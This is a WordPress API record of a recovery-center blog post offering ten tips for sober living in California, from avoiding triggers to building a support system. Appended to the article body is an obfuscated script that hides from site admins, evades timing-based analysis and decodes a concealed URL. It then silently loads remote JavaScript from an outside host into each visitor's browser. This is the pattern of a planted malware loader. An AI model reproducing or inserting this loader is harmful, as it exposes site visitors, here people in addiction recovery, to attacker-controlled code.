{"id":2176,"date":"2021-04-08T17:42:03","date_gmt":"2021-04-08T17:42:03","guid":{"rendered":"http:\/\/resources.tasterecovery.com\/?p=2176"},"modified":"2025-10-17T19:53:24","modified_gmt":"2025-10-17T19:53:24","slug":"sober-living-california-a-practical-guide-for-persistent-recovery","status":"publish","type":"post","link":"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/","title":{"rendered":"Sober Living California: A Practical Guide for Persistent Recovery"},"content":{"rendered":"<p><img decoding=\"async\" class=\"alignnone wp-image-2177 size-large\" src=\"http:\/\/www.tasterecovery.com\/wp-content\/uploads\/2021\/04\/sober-living-California-1024x682.jpeg\" alt=\"sober living California\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-200x133.jpeg 200w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-300x200.jpeg 300w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-400x267.jpeg 400w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-600x400.jpeg 600w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-768x512.jpeg 768w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-800x533.jpeg 800w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-1024x682.jpeg 1024w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-1200x800.jpeg 1200w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California-1536x1024.jpeg 1536w, https:\/\/www.tasterecovery.com\/resources\/wp-content\/uploads\/2021\/04\/sober-living-California.jpeg 2000w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>For people who achieve a year of sobriety, <a href=\"https:\/\/www.psychologytoday.com\/us\/blog\/craving\/201402\/how-often-do-long-term-sober-alcoholics-and-addicts-relapse\">less than half relapse<\/a>. If you can remain sober for five years, your chance of a relapse is less than 15%.<\/p>\n<p>Do you want to set yourself up for long-term success? Consider a sober living California plan. Gathering the right tips and resources could help you maintain your sobriety.<\/p>\n<p>With the right tools at your disposal, you can improve your quality of life.<\/p>\n<p>Not sure where to get started? Here are the tips you need for success. With these sober living Southern California tips, you can stay happy and healthy.<\/p>\n<p>Instead of relapsing, you can enjoy your best life!<\/p>\n<p>Get started with these easy tips today.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_76 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#1-know-your-triggers\" >1. Know Your Triggers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#2-avoid-old-routines\" >2. Avoid Old Routines<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#3-start-exercising\" >3. Start Exercising<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#4-improve-your-diet\" >4. Improve Your Diet<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#5-consider-legal-or-financial-problems\" >5. Consider Legal or Financial Problems<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#6-build-a-support-system\" >6. Build a Support System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#7-identify-your-mistakes\" >7. Identify Your Mistakes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#8-consider-talk-therapy\" >8. Consider Talk Therapy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#9-stay-calm\" >9. Stay Calm<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#10-celebrate-your-accomplishments\" >10. Celebrate Your Accomplishments<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.tasterecovery.com\/resources\/sober-living-california-a-practical-guide-for-persistent-recovery\/#sober-living-california-10-tips-for-long-term-success\" >Sober Living California: 10 Tips for Long-Term Success<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"1-know-your-triggers\"><\/span>1. Know Your Triggers<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When building your sober living California plan, it&#8217;s important to recognize your personal triggers. External triggers can include:<\/p>\n<ul>\n<li>People<\/li>\n<li>Places<\/li>\n<li>Things<\/li>\n<li>Situations<\/li>\n<\/ul>\n<p>These factors could cause thoughts or cravings that can lead to substance abuse.<\/p>\n<p>You&#8217;ll need to consider your internal triggers, too. Internal triggers include thoughts, feelings, and emotions. For example, you might try to cope with stress by turning toward substance abuse.<\/p>\n<p>Other common triggers include:<\/p>\n<ul>\n<li>Work problems<\/li>\n<li>Financial issues<\/li>\n<li>Environmental cues that lead to cravings<\/li>\n<li>Emotional distress<\/li>\n<li>People who still use drugs or drink<\/li>\n<li>Relationship issues<\/li>\n<\/ul>\n<p>Make a list of all the triggers that have led you to drink or use drugs in the past. Then, make an effort to avoid those triggers.<\/p>\n<p>For example, you might want to avoid going to parties for a while, especially if there&#8217;s drinking. Let your inner circle know you&#8217;re trying to avoid these triggers. They can help you make positive decisions moving forward.<\/p>\n<p>In some cases, a relapse can sneak up on you. You can&#8217;t always avoid a trigger. For example, someone you know who still uses drugs might show up unannounced.<\/p>\n<p>It can help you recognize your warning signs. Your warning signs involve three phases: emotional, mental, and physical relapse.<\/p>\n<p>For example, you might:<\/p>\n<ul>\n<li>Begin engaging in self-defeating or compulsive behaviors<\/li>\n<li>Return to old, addictive thought patterns<\/li>\n<li>Find yourself in situations where drugs or alcohol could help you escape from your pain<\/li>\n<li>Start thinking less rationally<\/li>\n<li>Begin behaving less responsibly<\/li>\n<li>Begin seeking people, places, or situations that involve drug or alcohol use<\/li>\n<\/ul>\n<p>Recognizing these warning signs can help you avoid them. You can then make the most of your sober living California lifestyle.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"2-avoid-old-routines\"><\/span>2. Avoid Old Routines<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Old habits and routines could trigger a relapse, too.<\/p>\n<p>If you start hanging with the same people or visiting the same places, it could trigger a relapse. Avoid going back to your old habits, routines, and behaviors. Instead, start developing a\u00a0<em>new<\/em> routine.<\/p>\n<p>You might not realize an old habit is a trigger until it&#8217;s too late. If you find yourself in a situation where you might turn to substance abuse, call for help. Relying on your support system can help you make positive decisions in the future.<\/p>\n<p>Otherwise, you might experience peer pressure. The people who were once in your life might try to drag you back toward using. It&#8217;s likely you won&#8217;t remain sober long if you hang out with drinking buddies or your dealer.<\/p>\n<p>Try to establish a structured schedule. Otherwise, a disorganized life could lead you to using again.<\/p>\n<p>A weekly, structured schedule can also help you achieve your short- and long-term goals.<\/p>\n<p>Do you want to go back to school? Do you want to build your career? Maybe you want to reach 90-days sober.<\/p>\n<p>Either way, make a goal and stick to it!<\/p>\n<h2><span class=\"ez-toc-section\" id=\"3-start-exercising\"><\/span>3. Start Exercising<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Alcohol and drug use can have a serious impact on your physical wellbeing. As you explore sober living Palm Springs options, consider exercising. Exercising can help you strengthen and heal your body.<\/p>\n<p>In fact, exercising can trigger serotonin production. <a href=\"https:\/\/www.hormone.org\/your-health-and-hormones\/glands-and-hormones-a-to-z\/hormones\/serotonin#:~:text=Serotonin%20is%20the%20key%20hormone,sleeping%2C%20eating%2C%20and%20digestion.\">Serotonin is a neurotransmitter<\/a> that stabilizes our feelings of happiness and wellbeing. It impacts our ability to sleep, eat, and digest, too.<\/p>\n<p>Without serotonin, you could develop depression. Depressing thoughts could lead you to start using again.<\/p>\n<p>Add your workout routine as part of your schedule. Check out\u00a0sober living Southern California activities like yoga and meditation, too.<\/p>\n<p>You might need to prepare for PAWs as well. PAWS stands for <a href=\"https:\/\/www.verywellmind.com\/what-is-post-acute-withdrawal-syndrome-22104\">post-acute withdrawal syndrome<\/a>. It can last between six months to two years after you stop using.<\/p>\n<p>PAWS can trigger a mix of symptoms, including:<\/p>\n<ul>\n<li>Thought fog<\/li>\n<li>Chronic pain<\/li>\n<li>Limited ability to focus<\/li>\n<li>Low energy<\/li>\n<li>Fatigue<\/li>\n<li>Insomnia<\/li>\n<li>Aggression, hostility, or irritability<\/li>\n<li>Depression, anxiety, or sadness<\/li>\n<li>Mood swings<\/li>\n<\/ul>\n<p>These symptoms could become a barrier for your recovery. If you experience these symptoms, seek help.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"4-improve-your-diet\"><\/span>4. Improve Your Diet<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As part of your sober living Southern California lifestyle, reevaluate your diet. You don&#8217;t have to go on a juice cleanse. Instead, choose foods that can help you recover.<\/p>\n<p>In fact, certain foods can <a href=\"https:\/\/www.healthline.com\/nutrition\/foods-that-help-you-heal#1.-Leafy-green-vegetables\">help your body heal<\/a> and recover from addiction.<\/p>\n<p>For example, leafy greens can help improve your immune system. They contain manganese, magnesium, vitamin C, and other great nutrients. The antioxidants in these vegetables can offer immune-supportive and anti-inflammatory properties, too.<\/p>\n<p>Try adding healthy proteins to your diet.<\/p>\n<p>Eggs offer zinc, iron, and selenium. These nutrients can support your immune health.<\/p>\n<p>Salmon is also packed with protein. The omega-3 fatty acids in salmon can reduce inflammation. They also promote wound healing and enhanced immunity.<\/p>\n<p>Berries are packed with vitamin C, which can promote collagen production. Collagen can keep your skin supple and firm.<\/p>\n<p>Otherwise, try adding nuts, seeds, and other healthy foods to your diet. Nutrient-dense foods can help you heal. Without a balanced diet, you could develop a nutrient deficiency.<\/p>\n<p>You don&#8217;t want your health to decline more than it hands.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"5-consider-legal-or-financial-problems\"><\/span>5. Consider Legal or Financial Problems<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Part of an effective sober living California strategy is learning how to avoid future stressors.<\/p>\n<p>Did your addiction cause any legal issues? You might have to deal with arrests, convictions, or legal fees. Maybe you lost your license after drunk driving.<\/p>\n<p>Don&#8217;t avoid these issues. Otherwise, they could add to your stress. Instead, work with a financial coach or lawyer.<\/p>\n<p>They can help you navigate the complexities of these issues.<\/p>\n<p>Consider your financial situation, too. Did your addiction cause work-related issues? Did you lose your job?<\/p>\n<p>Financial issues can also become a major stressor for relapse. Consider vocational rehabilitation. You can work with a career coach to practice interviewing.<\/p>\n<p>With their help, you can find a job that suits your skills and experience. Then, you can start working to avoid financial issues in the future.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"6-build-a-support-system\"><\/span>6. Build a Support System<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>About <a href=\"https:\/\/americanaddictioncenters.org\/rehab-guide\/12-step\/whats-the-success-rate-of-aa\">40% of people<\/a> drop out of Alcoholic Anonymous (AA) within the first year. About 75% of people who continue attending meetings remain abstinent. Building a support system could help you along your sober living California journey.<\/p>\n<p>In fact, you might want to consider <a href=\"https:\/\/www.tasterecovery.com\/resources\/living\/search\">sober living homes<\/a> in California. Sober living homes can help you transition after your rehabilitation. You&#8217;ll have a safe place to stay and focus on your sobriety.<\/p>\n<p>Meanwhile, you can leave with people who have gone what you&#8217;re going through. They can help provide the support you need.<\/p>\n<p>It&#8217;s important to develop healthy relationships and a support team. Otherwise, your sober living California plan might prove difficult to navigate alone.<\/p>\n<p>First, identify any unhealthy relationships you had in a past. Avoid toxic relationships that could lead to a relapse.<\/p>\n<p>Instead, look for people who have supported your recovery. You can plan activities with your support group and find healthy distractions. With their help, you can afford a relapse.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"7-identify-your-mistakes\"><\/span>7. Identify Your Mistakes<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As part of the healing process, it&#8217;s important to recognize your past mistakes. Otherwise, the guilt or shame you feel could trigger a relapse. You could put unnecessary pressure on yourself, too.<\/p>\n<p>Guilt can lead to negative self-talk, which could trigger old habits.<\/p>\n<p>Instead, speak with the friends and family members you hurt as a result of your addiction. Let them know you want to learn from your past mistakes. Taking responsibility for your actions is an important first step..<\/p>\n<p>Then, you can make amends and grow from the experience.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"8-consider-talk-therapy\"><\/span>8. Consider Talk Therapy<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As part of your <a href=\"https:\/\/www.tasterecovery.com\/resources\/about-us\">sober living California<\/a> lifestyle, it&#8217;s important to gather sober living resources. You can rely on these resources the next time you feel triggered. For example, you might want to consider talk therapy.<\/p>\n<p>Counseling will give you a chance to learn from a professional. They can help you cope with stressful situations. They&#8217;ll also help you identify your triggers.<\/p>\n<p>If group therapy isn&#8217;t working for you, consider one-on-one counseling.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"9-stay-calm\"><\/span>9. Stay Calm<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As you use these sober living California tips, it&#8217;s important to remain calm. You might turn toward drugs or alcohol to deal with your emotions. Instead, learn how to manage your emotions with healthier methods.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"10-celebrate-your-accomplishments\"><\/span>10. Celebrate Your Accomplishments<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As you use these sober living Southern California tips, take time to celebrate your accomplishments. Look at how far you&#8217;ve come. Celebrating your milestones can keep you on track with maintaining your sobriety.<\/p>\n<p>You can stay motivated and remember why you started on the road to recovery in the first place.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"sober-living-california-10-tips-for-long-term-success\"><\/span>Sober Living California: 10 Tips for Long-Term Success<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Make your sober living California plans a success. With these 10 tips, you can stay on track. You can maintain your sobriety to live a happy, healthy life.<\/p>\n<p>Remember, you&#8217;re not going through this alone. Consider looking into sober living homes in California. By living in a sober living California home, you can find the support and help you need.<\/p>\n<p>Ready to start your search? We can help.<\/p>\n<p><a href=\"https:\/\/www.tasterecovery.com\/resources\/home?isSignIn=true\">Sign-up to get started<\/a> today.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For people who achieve a year of sobriety, less than half relapse. If you can remain sober<\/p>\n","protected":false},"author":16,"featured_media":2177,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[],"class_list":["post-2176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sober-living"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sober Living California: A Practical Guide for Persistent Recovery |<\/title>\n<meta name=\"description\" content=\"There are many temptations one may experience on their sober living California journey. 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